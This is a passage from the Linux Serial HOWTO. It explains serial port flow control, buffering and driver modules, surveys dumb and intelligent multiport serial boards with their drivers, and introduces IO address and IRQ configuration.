Interrupts are also issued when the serial port has just sent out all 16 of its bytes from its small transmit buffer out the external cable. It then has space for 16 more outgoing bytes. The interrupt is to notify the CPU of that fact so that it may put more bytes in the small transmit buffer to be transmitted. Also, when a modem control line changes state an interrupt is issued.

The buffers mentioned above are all hardware buffers. The serial port also has large buffers in main memory. This will be explained later

Interrupts convey a lot of information but only indirectly. The interrupt itself just tells a chip called the interrupt controller that a certain serial port needs attention. The interrupt controller then signals the CPU. The CPU then runs a special program to service the serial port. That program is called an interrupt service routine (part of the serial driver software). It tries to find out what has happened at the serial port and then deals with the problem such a transferring bytes from (or to) the serial port's hardware buffer. This program can easily find out what has happened since the serial port has registers at IO addresses known to the the serial driver software. These registers contain status information about the serial port. The software reads these registers and by inspecting the contents, finds out what has happened and takes appropriate action.

3.5 Data Flow (Speeds)

Data (bytes representing letters, pictures, etc.) flows into and out of your serial port. Flow rates (such as 56k (56000) bits/sec) are (incorrectly) called "speed". But almost everyone says "speed" instead of "flow rate".

It's important to understand that the average speed is often less than the specified speed. Waits (or idle time) result in a lower average speed. These waits may include long waits of perhaps a second due to Flow Control. At the other extreme there may be very short waits (idle time) of several micro-seconds between bytes. If the device on the serial port (such as a modem) can't accept the full serial port speed, then the average speed must be reduced.

3.6 Flow Control

Flow control means the ability to slow down the flow of bytes in a wire. For serial ports this means the ability to stop and then restart the flow without any loss of bytes. Flow control is needed for modems to allow a jump in instantaneous flow rates.

Example of Flow Control

For example, consider the case where you connect a 33.6k external modem via a short cable to your serial port. The modem sends and receives bytes over the phone line at 33.6k bits per second (bps). Assume it's not doing any data compression or error correction. You have set the serial port speed to 115,200 bits/sec (bps), and you are sending data from your computer to the phone line. Then the flow from the your computer to your modem over the short cable is at 115.2k bps. However the flow from your modem out the phone line is only 33.6k bps. Since a faster flow (115.2k) is going into your modem than is coming out of it, the modem is storing the excess flow (115.2k -33.6k = 81.6k bps) in one of its buffers. This buffer would soon overrun (run out of free storage space) unless the high 115.2k flow is stopped.

But now flow control comes to the rescue. When the modem's buffer is almost full, the modem sends a stop signal to the serial port. The serial port passes on the stop signal on to the device driver and the 115.2k bps flow is halted. Then the modem continues to send out data at 33.6k bps drawing on the data it previous accumulated in its buffer. Since nothing is coming into the buffer, the level of bytes in it starts to drop. When almost no bytes are left in the buffer, the modem sends a start signal to the serial port and the 115.2k flow from the computer to the modem resumes. In effect, flow control creates an average flow rate in the short cable (in this case 33.6k) which is significantly less than the "on" flow rate of 115.2k bps. This is "start-stop" flow control.

In the above simple example it was assumed that the modem did no data compression. This would be true when the modem is sending a file which is already compressed and can't be compressed further. Now let's consider the opposite extreme where the modem is compressing the data with a high compression ratio. In such a case the modem might need an input flow rate of say 115.2k bps to provide an output (to the phone line) of 33.6k bps (compressed data). The compression ratio is 3.43 (115.2/33.6) which is much higher than average. In this case the modem is able to compress and the 115.2 bps PC-to-modem flow and send the same data out on the phone line at 33.6bps. There's no need for flow control here. But such a high compression ratio rarely happens so that most of the time flow control is needed to slow down the flow on the 115.2 bps PC-to-modem cable. The flow is stopped and started so that the average flow is usually well under the "on" flow of 115.2 bps.

In the above example the modem was an external modem. But the same situation exists (as of late 2000) for most internal modems. There is still a speed limit on the PC-to-modem speed even though this flow doesn't take place over an external cable. This makes the internal modems compatible with the external modems.

In the above example of flow control the flow was from the computer to a modem. But there is also flow control which is used for the opposite direction of flow: from a modem (or other device) to a computer. Each direction of flow involve 3 buffers: 1. in the modem 2. in the UART chip (called FIFOs) 3. in main memory managed by the serial driver. Flow control protects certain buffers from overflowing. The small UART FIFO buffers are not protected in this way but rely instead on a fast response to the interrupts they issue. FIFO stand for "First In, First Out" which is the way it handles bytes. All the 3 buffers use the FIFO rule but only one of them also uses it as a name. This is the essence of flow control but there are still some more details.

Symptoms of No Flow Control

Understanding flow-control theory can be of practical use. The symptom of no flow control is chunks of data missing from files sent without the benefit of flow control. This is because when overflow happens, it's usually more than just a few bytes that overflow and are lost. Often hundreds or even thousands of bytes get lost, and all in contiguous chunks.

Hardware vs. Software Flow Control

If feasible it's best to use "hardware" flow control that uses two dedicated "modem control" wires to send the "stop" and "start" signals.

Software flow control uses the main receive and transmit wires to send the start and stop signals. It uses the ASCII control characters DC1 (start) and DC3 (stop) for this purpose. They are just inserted into the regular stream of data. Software flow control is not only slower in reacting but also does not allow the sending of binary data unless special precautions are taken. Since binary data will likely contain DC1 and DC3, special means must be taken to distinguish between a DC3 that means a flow control stop and a DC3 that is part of the binary code. Likewise for DC1.

3.7 Data Flow Path; Buffers

Much has been explained about this including flow control, a pair of 16-byte FIFO buffers (in the UART), and a pair of larger buffers inside a device connected to the serial port (such as a modem. But there is still another pair of buffers. These are large buffers (perhaps 4k) in main memory also known as serial port buffers. When an application program sends bytes to the serial port

they first get stashed in the the transmit serial port buffer in main memory. The pair consists of both this transmit buffer and a receive buffer for the opposite direction of byte-flow. Here's an example diagram for the case of browsing the Internet with a browser. Transmit data flow is left to right while receive flow is right to left.

application     4k-byte         16-byte        1k-byte        tele-
BROWSER ------- MEMORY -------- UART --------- MODEM -------- phone
program         buffer          buffer         buffer         line

The serial device driver takes out say 16 bytes from this transmit buffer, one byte at a time and puts them into the 16-byte transmit buffer in the serial UART for transmission. Once in that transmit buffer, there is no way to stop them from being transmitted. They are then transmitted to the modem or other device connected to the serial port which also has a fair sized (say 1k) buffer. When the device driver (on orders from flow control) stops the flow of outgoing bytes from the computer, what it actually stops is the flow of outgoing bytes from the large transmit buffer in main memory. Even after this has happened and the flow to the device connected to the serial port has stopped, an application program may keep sending bytes to the 4k transmit buffer until it becomes fill.

When it gets fill, the application program can't send any more bytes to it (a "write" statement in a C_program blocks) and the application program temporarily stops running and waits until some buffer space becomes available. Thus a flow control "stop" is ultimately able to stop the program that is sending the bytes. Even though this program stops, the computer does not necessarily stop computing. It may switch to running other processes while it's waiting at a flow control stop. The above was a little oversimplified since there is another alternative of having the application program itself do something else while it is waiting to "write".

3.8 Complex Flow Control Example

For many situations, there is a transmit path involving several links, each with its own flow control. For example, I type at a text-terminal connected to a PC with a modem to access a BBS. For this I use the application program "minicom" which deals with 2 serial ports: one connected to a modem and another connected to the text-terminal. What I type at the text terminal goes into the first serial port to minicom, then from minicom out the second serial port to the modem, and then onto the telephone line to the BBS. The text-terminal has a limit to the speed at which bytes can be displayed on its screen and issues a flow control "stop" from time to time to slow down the flow. What happens when such a "stop" is issued? Let's consider a case where the "stop" is long enough to get thru to the BBS and stop the program at the BBS which is sending out the bytes.

Let's trace out the flow of this "stop" (which may be "hardware" on some links and "software" on others). First, suppose I'm "capturing" a long file from the BBS which is being sent simultaneously to both my text-terminal and a to file on my hard-disk. The bytes are coming in faster than the terminal can handle them so it sends a "stop" out its serial port to the first serial port on my PC. The device driver detects it and stops sending bytes from the 4k serial buffer (in main memory) to the terminal. Now minicom still keeps sending out bytes for the terminal into this 4k buffer.

When this 4k transmit buffer (on the first serial port) is full, minicom must stop writing to it. Minicom stops and waits. But this also causes minicom to stop reading from the 4k receive buffer on the 2nd serial port connected to the modem. Flow from the modem continues until this 4k buffer too fills up and sends a different "stop" to the modem. Now the modem's buffer ceases to send to the serial port and also fills up. The modem (assuming error correction is enabled) sends a "stop signal" to the other modem at the BBS. This modem stops sending bytes out of its buffer and when its buffer gets fill, another stop signal is sent to the serial port of the BBS. At the BBS, the 8-k (or whatever) buffer fills up and the program at the BBS can't write to it anymore and thus temporarily halts.

Thus a stop signal from a text terminal has halted a programs on a BBS computer. What a complex sequence of events! Note that the stop signal passed thru 4 serial ports, 2 modems, and one application program (minicom). Each serial port has 2 buffers (in one direction of flow): the 4k one and the hardware 16-byte one. The application program may have a buffer in its C_code. This adds up to 11 different buffers the data is passing thru. Note that the small serial hardware buffers do not participate directly in flow control.

If the terminal speed limitation is the bottleneck in the flow from the BBS to the terminal, then its flow control "stop" is actually stopping the program that is sending from the BBS as explained above. But you may ask: How can a "stop" last so long that 11 buffers (some of them large) all get filled up? It can actually happen this way if all the buffers were near their upper limits when the terminal sent out the "stop".

But if you were to run a simulation on it you would discover that it's usually more complicated than this. At an instant of time some links are flowing and others are stopped (due to flow control). A "stop" from the terminal seldom propagates back to the BBS neatly as described above. It may take a few "stops" from the terminal to result in one "stop" at the BBS. To understand what is going on you really need to observe a simulation which can be done for a simple case with coins on a table. Use only a few buffers and set the upper level for each buffer at only a few coins.

Does one really need to understand all this? Well, understanding this explained to me why capturing text from a BBS was loosing text. The situation was exactly the above example but modem-to-modem flow control was disabled. Chunks of captured text that were supposed to also get to my hard-disk never got there because of an overflow at my modem buffer due to flow control "stops" from the terminal. Even though the BBS had a flow path to the hard-disk without bottlenecks, the overflow due to the terminal happened on this path and chunks of text were lost and never even made it to the hard-disk. Note that the flow to the hard-disk passed thru my modem and since the overflow happened there, bytes intended for the hard-disk were lost.

3.9 Serial Driver Module

The device driver for the serial port is the software that operates the serial port. It is now provided as a serial module. >From kernel 2.2 on, this module will normally get loaded automatically if it's needed. In earlier kernels, you had to have kerneld running in order to do auto-load modules on demand. Otherwise the serial module needed to be explicitly listed in /etc/modules. Before modules became popular with Linux, the serial driver was usually built into the kernel (and sometimes still is). If it's built-in don't let the serial module load or else you will have two serial drivers running at the same time. With 2 drivers there are all sorts of errors including a possible "I/O error" when attempting to open a serial port. Use "lsmod" to see if the module is loaded.

When the serial module is loaded it displays a message on the screen about the existing serial ports (often showing a wrong IRQ). But once the module is used by setserial to tell the device driver the (hopefully) correct IRQ then you should see a second display similar to the first but with the correct IRQ, etc. See Serial Module See What is Setserial for more info on setserial.


Serial HOWTO: Is the Serial Port Obsolete?

 Next Previous Contents

4. Is the Serial Port Obsolete?

4.1 Introduction

The answer is yes, but ... The serial port is somewhat obsolete but it's still needed, especially for Linux. The serial port has many shortcomings but almost all new PC's seem to come with them. Linux supports ordinary telephone modems only if they work thru a serial port (although the port may be built into the modem).

The serial port must pass data between the computer and the external cable. Thus it has two interfaces: the serial-port-to cable and the serial-port-to-computer-bus. Both of these interfaces are slow. First we'll consider the interface via external cable to the outside world.

4.2 EIA-232 Cable Is Low Speed & Short Distance

The conventional EIA-232 serial port is inherently low speed and is severely limited in distance. Ads often read "high speed" but it can only work at "high speed" over very short distances such as to a modem located right next to the computer. Compared to a network card, even this "high speed" is low speed. All of the EIA-232 serial cable wires use a common ground return wire so that twisted-pair technology (needed for high speeds) can't be used without additional hardware. More modern interfaces for serial ports exist but they are not standard on PC's like the EIA-232 is. See Successors to EIA-232. Some multiport serial cards support them.

It is somewhat tragic that the RS-232 standard from 1969 did not use twisted pair technology which could operate about a hundred times faster. Twisted pairs have been used in telephone cables since the late 1800's. In 1888 (over 110 years ago) the "Cable Conference" reported its support of twisted-pair (for telephone systems) and pointed out its advantages. But over 80 years after this approval by the "Cable Conference", RS-232 failed to utilize it. Since RS-232 was originally designed for connecting a terminal to a low speed modem located nearby, the need for high speed and longer distance transmission was apparently not recognized.

4.3 Inefficient Interface to the Computer

To communicate with the computer, any I/O device needs to have an address so that the computer can write to it and read from it. For this purpose many I/O devices (such as serial ports) use a special type of address known as an I/O addresses (sometimes called an I/O port). It's actually a range of addresses and the lower address in this range is the base address. If someone only says (or writes) "address" it likely really means "base address"

Instead of using I/O addresses, some I/O devices read and write directly from/to main memory. This provides more bandwidth since the conventional serial I/O system only moves a byte at a time. There are various ways to read/write directly to main memory. One way is called shared memory I/O (where the shared memory is usually on the same card as the I/O device). Other methods are DMA (direct memory access) on the ISA bus and what is about the same as DMA (only much faster): "bus mastering" on the PCI bus. These methods are a lot faster than those used for the serial port. Thus the conventional serial port with its interrupt driven (every 14 bytes) interface and single bytes transfers on a bus which could accommodate 4 (or 8) bytes at a time is not suited for very high speed I/O.


Serial HOWTO: Multiport Serial Boards/Cards/Adapters

 Next Previous Contents

5. Multiport Serial Boards/Cards/Adapters

5.1 Intro to Multiport Serial

Multiport serial cards install in slots in a PC on the ISA or PCI bus. Instead of being called "... cards" they are also called "... adapters" or "... boards". Each such card provides you with many serial ports. Today they are commonly used for the control of external devices (including automation for both industry and the home). They can connect to computer servers for the purpose of monitoring/controlling the server from a remote location. They were once mainly used for connecting up many dumb terminals and/or modems to serial ports. Today, use of dumb terminals has declined, and several modems (or digital modems) can now be built into an internal card. So multiport serial cards are not as significant as they once were.

Each multiport card has a number of external connecters (DB-25 or RJ45) so that one may connect up a number of devices (modems, terminals, etc.). Each such physical device would then be connected to its own serial port. Since the space on the external-facing part of the card is limited there is often not enough room for all the serial port connectors. To solve this problem, the connectors may be on the ends of cables which come out (externally) from the card (octopus cable). Or they may be on an external box (possibly rack mountable) which is connected by a cable to a multiport card.

5.2 Modem Limitations

For a modem to transmit at nearly 56k requires that it be a special digital modem and have a digital connection to a digital phone line (such as a T1 line). Modem banks that connect to multiport cards do exist, and some have a card that can access multiplexed digital phone lines. Thus one can use a multiport card with a few 56k digital modems.

For both analog and digital modem there is one modem on each serial port so there needs to be an external cable (modem bank to multiport) for each modem. This can lead to a large number of cables. So it's less clutter (and cheaper) to use internal modems without a multiport card. It's somewhat analogous to the lower cost of an internal modem for a desktop PC as compared to the higher cost (and more cabling) for an external modem. See Modem-HOWTO: Modem Pools, Digital Modems.

5.3 Dumb vs. Smart Cards

Dumb multiport cards are not too much different than ordinary serial ports. They are interrupt driven and the CPU of the computer does most all the work servicing them. They usually have a system of sharing a single interrupt for all the ports. This doesn't decrease the load on the CPU since the single interrupt will be sent to the CPU each time any one port needs servicing. Such devices usually require special drivers that you must put into the kernel or activate by putting a #define in the source code (or the like).

Smart boards may use ordinary UARTs but handle most interrupts from the UARTs internally within the board. This frees the CPU from the burden of handling all these interrupts. The board may save up bytes in its large internal FIFOs and transfer perhaps 1k bytes at a time to the serial buffer in main memory. It may use the full bus width of 32 bits for making data transfers to main memory (instead of transferring only 8-bit bytes like dumb serial cards do). Not all "smart" boards are equally efficient. Many boards today are Plug-and-Play.

5.4 Getting/Enabling a Driver

Introduction

For a multiport board to work, a special driver for it must be used. This driver may either be built into the kernel source code or supplied as a module. Support for dumb boards is likely to the built into the kernel while smart boards usually need a module.

Driver is built into the kernel (mostly dumb boards)

A pre-compiled kernel is not likely to have multiport support built in. So you probably need to compile it yourself. In kernel 2.4 you should select "CONFIG_SERIAL_EXTENDED when configuring the kernel (just before you compile). If you select this there will be still more choices presented to you. Even after you do this you may need to edit the resulting source code a little (depending on the card).

Modules (mostly for smart boards)

A pre-compiled kernel may come with a pre-compiled module for the board so that you don't need to recompile the kernel. This module must be loaded in order to use it, but the kernel may automatically do this for you if a program is trying to use a device on the smart board (provided there exists a table showing which module to load for the device). This table may be in /etc/modules.conf and/or be internal to the kernel. Also certain parameters may need to be passed to the driver (via lilo's append command or via /etc/modules.conf). For kernel 2.4 the modules should be found in /lib/modules/.../kernel/drivers/char.

Getting info on multiport boards

The board's manufacturer should have info on their website. Unfortunately, info for old boards is sometimes not there but might be found somewhere else on the Internet (including discussion groups). You might also want to look at the kernel documentation in /usr/share/kernel-doc... For configuring the kernel or modules prior to compiling see: Configure.help and search for "serial", etc. There are also kernel documentation files for certain boards including computone, hayes-esp, moxa-smartio, riscom8, specialix, stallion, and sx (specialix).

5.5 Making multiport devices in the /dev directory

The serial ports your multiport board uses depends on what kind of board you have. Some have their own device names like /dev/ttyE27 or /dev/ttyD2, etc. Ones that use the standard names like /dev/ttyS14 may be listed in detail in rc.serial or in 0setserial. These files may be included in a setserial or serial package. You may need to create these devices (unless an installation script does it for you). Either use the mknod command, or the MAKEDEV script. Devices (in the /dev directory) for ttyS type serial ports are made by adding ``64 + port number''. So, if you wanted to create devices for ttyS17, you would type:

linux# mknod -m 666 /dev/ttyS17 c 4 81
Note the "major" number is always 4 for ttyS devices (and 5 for the obsolete cua devices). Also ``64 + 17 = 81''. Using the MAKEDEV script, you would type:

linux# cd /dev
linux# ./MAKEDEV ttyS17

For the names and numbers of other types of serial ports other than ttyS.. see devices.txt in the kernel documentation. Besides the listing of various brands of multiports found in this HOWTO there is Gary's Encyclopedia - Serial Cards. It's not as complete, but may have some different links.

5.6 Standard PC Serial Cards

In olden days PCs came with a serial card installed. Later on the serial function was put on the hard-drive interface card. Today, one or two serial ports are usually built into the motherboard. Most of them (as of 2001) use a 16550 but some use 16650 (32-byte FIFOs). But one may still buy the old PC serial cards if they need 1-4 more serial ports. These are for ttyS0-ttyS3 (COM1 - COM4). They can be used to connect external serial devices (modems, serial mice, etc...). Only a tiny percentage of retail computer stores carry such cards. But one can purchase them on the Internet. Before getting a PCI one, make sure Linux supports it.

Here's a list of a few popular brands:

  • Byte Runner (may order directly, shows prices) http://www.byterunner.com
  • SIIG http://www.siig.com/products/io/
  • Dolphin http://www.dolphinfast.com/sersol.html

Note: due to address conflicts, you may not be able to use COM4 and IBM8514 video card (or some others) simultaneously. See Avoiding IO Address Conflicts with Certain Video Boards

5.7 Dumb Multiport Serial Boards (with standard UART chips)

They are also called "serial adapters". They often have a special method of sharing interrupts which requires that you compile support for them into the kernel.

* => The file that ran setserial in Debian shows some details of configuring # => See note below for this board

  • AST FourPort and clones (4 ports) * #
  • Accent Async-4 (4 ports) *
  • Arnet Multiport-8 (8 ports)
  • Bell Technologies HUB6 (6 ports)
  • Boca BB-1004 (4 ports), BB-1008 (8 ports), BB-2016 (16 ports; See the Boca mini-howto revised in 2001) * #
  • Boca IOAT66 or? ATIO66 (6 ports, Linux doesn't support its IRQ sharing ?? Uses odd-ball 10-cond RJ45-like connectors)
  • Boca 2by4 (4 serial ports, 2 parallel ports)
  • Byte Runner http://www.byterunner.com
  • Computone ValuePort V4-ISA (AST FourPort compatible) *
  • Digi PC/8 (8 ports) #
  • Dolphin http://www.dolphinfast.com/sersol/
  • Globetek http://www.globetek.com/
  • GTEK BBS-550 (8 ports; See the mini-howto)
  • Hayes ESP (after kernel 2.1.15)
  • HUB-6 See Bell Technologies.
  • Longshine LCS-8880, Longshine LCS-8880+ (AST FourPort compatible) *
  • Moxa C104, Moxa C104+ (AST FourPort compatible) *
  • NI-SERIAL by National Instruments
  • PC-COMM (4 ports)
  • Sealevel Systems COMM-2 (2 ports), COMM-4 (4 ports) and COMM-8 (8 ports)
  • SIIG I/O Expander 2S IO1812 (4 ports) #
  • STB-4COM (4 ports)
  • Twincom ACI/550
  • Usenet Serial Board II (4 ports) *
  • VScom (uses same driver as ByteRunner)

In general, Linux will support any serial board which uses a 8250, 16450, 16550, 16550A, 16650, etc. UART. See the latest man page for "setserial" for a more complete list.

Notes:

AST Fourport: You might need to specify skip_test in rc.serial.

BB-1004 and BB-1008 do not support DCD and RI lines, and thus are not usable for dialin modems. They will work fine for all other purposes.

Digi PC/8 Interrupt Status Register is at 0x140.

SIIG IO1812 manual for the listing for COM5-COM8 is wrong. They should be COM5=0x250, COM6=0x258, COM7=0x260, and COM8=0x268.

5.8 Intelligent Multiport Serial Boards

Make sure that a Linux-compatible driver is available and read the information that comes with it. These boards use special devices (in the /dev directory), and not the standard ttyS ones. This information varies depending on your hardware. If you have updated info which should be shown here please email it to me.

Names of Linux driver modules are *.o but these may not work for all models shown. See Modules (mostly for smart boards) The needed module may have been supplied with your Linux distribution. Also, parameters (such as the io and irq often need to be given to the module so you need to find instructions on this (possibly in the source code tree).

There are many different brands, each of which often offers many different cards. No attempt is currently being made to list all the cards here (and many listed are obsolete). But all major brands and websites should be shown here so it something is missing let me know. Go the the webpage shown for more information. These websites often also have info (ads) on related hardware such as modem pools, remote access servers (RASs), and terminal servers. Where there is no webpage, the cards are likely obsolete. If you would like to put together a better list, let me know.

  • Chase Research (UK based, ISA/PCI cards)
    webpage: www.chaser.com
    driver status: for 2.2 kernel. Supported by Chase.
  • Comtrol RocketPort (36MHz ASIC; 4, 8, 16, 32, up to 128 ports)
    webpage: http://www.comtrol.com
    driver status: supported by Comtrol. rocket.o
    driver location: ftp://tsx-11.mit.edu/pub/linux/packages/comtrol
  • Computone IntelliPort II (ISA, PCI and EISA busses up to 64 ports)
    webpage: http://www.computone.com
    driver location: old patch at http://www.wittsend.com/computone/linux-2.2.10-ctone.patch.gz
    mailing list: mailto:majordomo@lazuli.wittsend.com with "subscribe linux-computone" in body
    note: Old ATvantage and Intelliport cards are not supported by Computone
  • Connecttech
    website: http://www.connecttech.com/
    driver location: ftp://ftp.connecttech.com/pub/linux/
  • Cyclades
    Cyclom-Y (Cirrus Logic CD1400 UARTs; 8 - 32 ports),
    Cyclom-Z (MIPS R3000; 8 - 64 ports)
    website: http://www.cyclades.com/products/svrbas/zseries.php
    driver status: supported by Cyclades
    driver location: ftp://ftp.cyclades.com/pub/cyclades and included in Linux kernel since version 1.1.75: cyclades.o
  • Decision PCCOM (2-8 ports; ISA and PCI; aka PC COM)
    ISA:
    contact: mailto:info@cendio.se
    driver location: (dead link) ftp://ftp.signum.se/pub/pccom8
    PCI:
    drivers: http://www.decision.com.tw
    driver status: Support in serial driver 5.03. For an earlier driver, there exists a patch for kernel 2.2.16 at http://www.qualica.com/serial/ and for kernels 2.2.14-2.2.17 at htp://www.pccompci.com/mains/installing_pci_linux1.html
  • Digi PC/Xi (12.5MHz 80186; 4, 8, or 16 ports),
    PC/Xe (12.5/16MHz 80186; 2, 4, or 8 ports),
    PC/Xr (16MHz IDT3041; 4 or 8 ports),
    PC/Xem (20MHz IDT3051; 8 - 64 ports)
    website: http://www.dgii.com
    driver status: supported by Digi
    driver location: ftp://ftp.dgii.com/drivers/linux and included in Linux kernel since version 2.0. epca.o
  • Digi COM/Xi (10MHz 80188; 4 or 8 ports)
    contact: Simon Park, si@wimpol.demon.co.uk
    driver status: ?
    note: Simon is often away from email for months at a time due to his job. Mark Hatle, mailto:fray@krypton.mankato.msus.edu has graciously volunteered to make the driver available if you need it. Mark is not maintaining or supporting the driver.
  • Equinox SuperSerial Technology (30MHz ASIC; 2 - 128 ports)
    website: http://www.equinox.com
    driver status: supported by Equinox
    driver location: ftp://ftp.equinox.com/library/sst
  • Globetek
    website: http://www.globetek.com/products.shtml
    driver location: http://www.globetek.com/media/files/linux.tar.gz
  • GTEK Cyclone (16C654 UARTs; 6, 16 and 32 ports),
    SmartCard (24MHz Dallas DS80C320; 8 ports),
    BlackBoard-8A (16C654 UARTs; 8 ports),
    PCSS (15/24MHz 8032; 8 ports)
    website: http://www.gtek.com
    driver status: supported by GTEK
    driver location: ftp://ftp.gtek.com/pub
  • Hayes ESP (COM-bic; 1 - 8 ports)
    website: http://www.nyx.net/~arobinso
    driver status: Supported by Linux kernel (1998) since v. 2.1.15. esp.o. Setserial 2.15+ supports. Also supported by author
    driver location: http://www.nyx.net/~arobinso
  • Intelligent Serial Interface by Multi-Tech Systems
    PCI: 4 or 8 port. ISA 8 port. DTE speed 460.8k
    webpage: http://www.multitech.com/products/
  • Maxpeed SS (Toshiba; 4, 8 and 16 ports)
    website: http://www.maxpeed.com
    driver status: supported by Maxpeed
    driver location: ftp://maxpeed.com/pub/ss
  • Microgate SyncLink ISA and PCI high speed multiprotocol serial. Intended for synchronous HDLC.
    website: http://ww/microgate.com/products/sllinux/hdlcapi.htm
    driver status: supported by Microgate: synclink.o
  • Moxa C218 (12MHz 80286; 8 ports),
    Moxa C320 (40MHz TMS320; 8 - 32 ports)
    website: http://www.moxa.com
    driver status: supported by Moxa
    driver locations: http://www.moxa.com/support/download/download.php3> ftp://ftp.moxa.com/drivers/linux (also from Taiwan at www.moxa.com.tw/...) where ... is the same as above)
  • SDL RISCom/8 (Cirrus Logic CD180; 8 ports)
    website: http://www.sdlcomm.com
    driver status: supported by SDL
    driver location: ftp://ftp.sdlcomm.com/pub/drivers
  • Specialix SX (25MHz T225; 8? - 32 ports),
    SIO/XIO (20 MHz Zilog Z280; 4 - 32 ports)
    webpage: www.specialix.com/products/io/serialio.htm
    driver status: Supported by Specialix
    driver location: http://www.BitWizard.nl/specialix/
    old driver location: ftp://metalab.unc.edu/pub/Linux/kernel/patches/serial
  • Stallion EasyIO-4 (4 ports), EasyIO-8 (8 ports), and
    EasyConnection (8 - 32 ports) - each with Cirrus Logic CD1400 UARTs,
    Stallion (8MHz 80186 CPU; 8 or 16 ports),
    Brumby (10/12 MHz 80186 CPU; 4, 8 or 16 ports),
    ONboard (16MHz 80186 CPU; 4, 8, 12, 16 or 32 ports),
    EasyConnection 8/64 (25MHz 80186 CPU; 8 - 64 ports)
    contact: sales@stallion.com or http://www.stallion.com
    driver status: supported by Stallion
    driver location: ftp://ftp.stallion.com/drivers/ata5/Linux and included in linux kernel since 1.3.27
  • System Base website: http://www.sysbas.com/

A review of Comtrol, Cyclades, Digi, and Stallion products was printed in the June 1995 issue of the Linux Journal. The article is available at http://www.ssc.com/lj/issue14.

5.9 Unsupported Multiport Boards

The following boards don't mention any Linux support as of 1 Jan. 2000. Let me know if this changes.

  • Aurora (PCI only) www.auroratech.com


Serial HOWTO: Configuring Overview

 Next Previous Contents

6. Configuring Overview

The first part (locating the hardware or low-level configuring) is assigning each port an IO address, IRQ, and name (such as ttyS2). This IO-IRQ pair must be set in both the hardware and told to the serial driver. We might just call this "io-irq" configuring for short. The "setserial" program is sometimes used to tell the driver. PnP methods, jumpers, etc, are used to set the hardware. Details will be supplied later. If you need to configure but don't understand certain details it's easy to get into trouble. See Locating the Serial Port: IO address IRQs What is Setserial

The second part (high-level configuring) is assigning it a speed (such as 115.2k bits/sec), selecting flow control, etc. This is often done by communication programs such as PPP, minicom, or by getty (which you may run on the port so that others may log into your computer). However you will need to tell these programs what speed you want, etc. by using a menu or a configuration file. This high-level configuring may also be done with the stty program. stty is also useful to view the current status if you're having problems. See the section Stty


Serial HOWTO: Locating the Serial Port: IO address, IRQs

 Next Previous Contents

7. Locating the Serial Port: IO address, IRQs

7.1 IO & IRQ Overview

For a serial port to work properly, it must have both an IRQ and an IO address. Without an IO address, it can't be located and will not work at all. Without an IRQ it will need to use inefficient polling methods for which one must set the IRQ to 0. So every serial port needs an IO address and IRQ. In olden days this was set by jumpers on a serial port card. Today it's set by digital signals sent to the hardware and this is part of "Plug-and-Play (PnP).

The driver must also know both the IO address and IRQ so that it can locate the card. Modern drivers (kernel 2.4) determine this by PnP methods so one doesn't need to tell them (by using "setserial"). The driver uses PnP functions provided by Linux to determine what the IO and IRQ are and to set them if necessary. The driver also probes possible serial port addresses to see if there are any serial ports there. This works for the case of jumpers and sometimes works for a PnP port when the driver doesn't do PnP.

Locating the serial port by giving it an IRQ and IO address is low-level configuring. What follows repeats what was said above in more detail. This low-level configuring consists of assigning an IO address, IRQ, and name (such as ttyS2). This IO-IRQ pair must be set in both the hardware and told to the serial driver. We could call this "io-irq" configuring for short. The "setserial" program is one way to tell the driver. The other way is for the driver to use PnP methods to determine/set the IO/IRQ and then remember what it did. For jumpers you must always use "setserial". If you need to configure but don't understand certain details it's easy to get into trouble.

When Linux starts, some effort is made to detect and configure (low-level) a few serial ports. Exactly what happens depends on your BIOS, hardware, Linux distribution, etc. If the serial ports work OK, there may be no need for you to do any more low-level configuring.

If you're having problems with the serial ports, then you may need to do low-level configuring. If you have kernel 2.2 or lower, then you need to do it if you:

  • Plan to use more than 2 ISA serial ports
  • Are installing a new serial port (such as an internal modem)

For kernel 2.2+ you may be able to use more that 2 serial ports without doing any low-level configuring by sharing interrupts. All PCI cards should support this but for ISA it only works for some hardware. It may be just as easy to give each port a unique interrupt if they is available. See Interrupt sharing and Kernels 2.2+

The low-level configuring (setting the IRQ and IO address) seems to cause people more trouble than the high-level, although for many it's fully automatic and there is no configuring to be done. Until the serial driver knows the correct IRQ and IO address, the port will not usually not work at all. Also, PnP ports can be disabled so that they can't be found (except with PnP tools). Applications, and utilities such as "setserial" and "scanport" don't use PnP tools and thus can't detect disabled ports. For example, an IO enabling bit must be set in PCI serial port hardware by PnP so that it's IO address may be used.

Even if the port can be found by normal (non-PnP) software, it may work extremely slow if the IRQ is wrong. See Extremely Slow: Text appears on the screen slowly after long delays.

In the Wintel world, the IO address and IRQ are called "resources" and we are thus configuring certain resources. But there are many other types of "resources" so the term has many other meanings. In summary, the low-level configuring consists of enabling the device, giving it a name (ttyS2 for example) and putting two values (an IRQ number and IO address) into two places:

  1. the device driver (often by running "setserial" at boot-time)
  2. memory registers of the serial port hardware itself

You may watch the start-up (= boot-time) messages. They are usually correct. But if you're having problems, there's a good chance that the ones that look like "setserial" output don't show the true configuration of the hardware (and they are not necessarily supposed to). See I/O Address & IRQ: Boot-time messages.

7.2 PCI Bus Support

If you have kernel 2.4, then there should be support for PnP (either built-in or by modules). Some PCI serial cards can be automatically detected and low-level configured by the serial driver. Others will not be. Kernel 2.2 had no support for PCI serial ports (although some people got them working anyway). The 2.4 serial driver will read the id number digitally stored on the serial hardware to determine how to support it (if it knows how). It should assign the I/O address to it, determine it's IRQ, etc. So you don't need to use "setserial" for it ??

If you have a

PCI modem card you should be looking at Modem-HOWTO and not this Serial-HOWTO. If you just have a PCI serial port card (with no modem on the card) but it will not work because the latest serial driver doesn't support it, you can help in attempting to create a driver for it. To do this you'll need to contact the maintainer of the serial driver, Theodore (Ted) Y. Ts'o.

Look at Ted Ts'o's site for the details of what you need to do. Here's a summary of what you need to do to help him. You will need to email Ted Ts'o a copy of the output of "lspci -vv" with full information about the model and manufacturer of the PCI modem (or serial port). Then he will try to point you to a test driver which might work for it. You will then need to get it, compile it and possibly recompile your kernel. Then you will test the driver to see if it works OK for you and report the results to Ted Ts'o. If you are willing to do all the above (and this is the latest version of this HOWTO) then email the needed info to him at: mailto:tytso@mit.edu.

PCI ports are not well standardized. Some use main memory for communication with the PC. Some require special enabling of the IRQ. The output of "lspci -vv" can help determine if one can be supported. If you see a 4-digit IO port, the port might work by just telling "setserial" the IO port and the IRQ. For example, if lspci shows IRQ 10, I/O at 0xecb8 and you decide to name it ttyS2 then the command is:

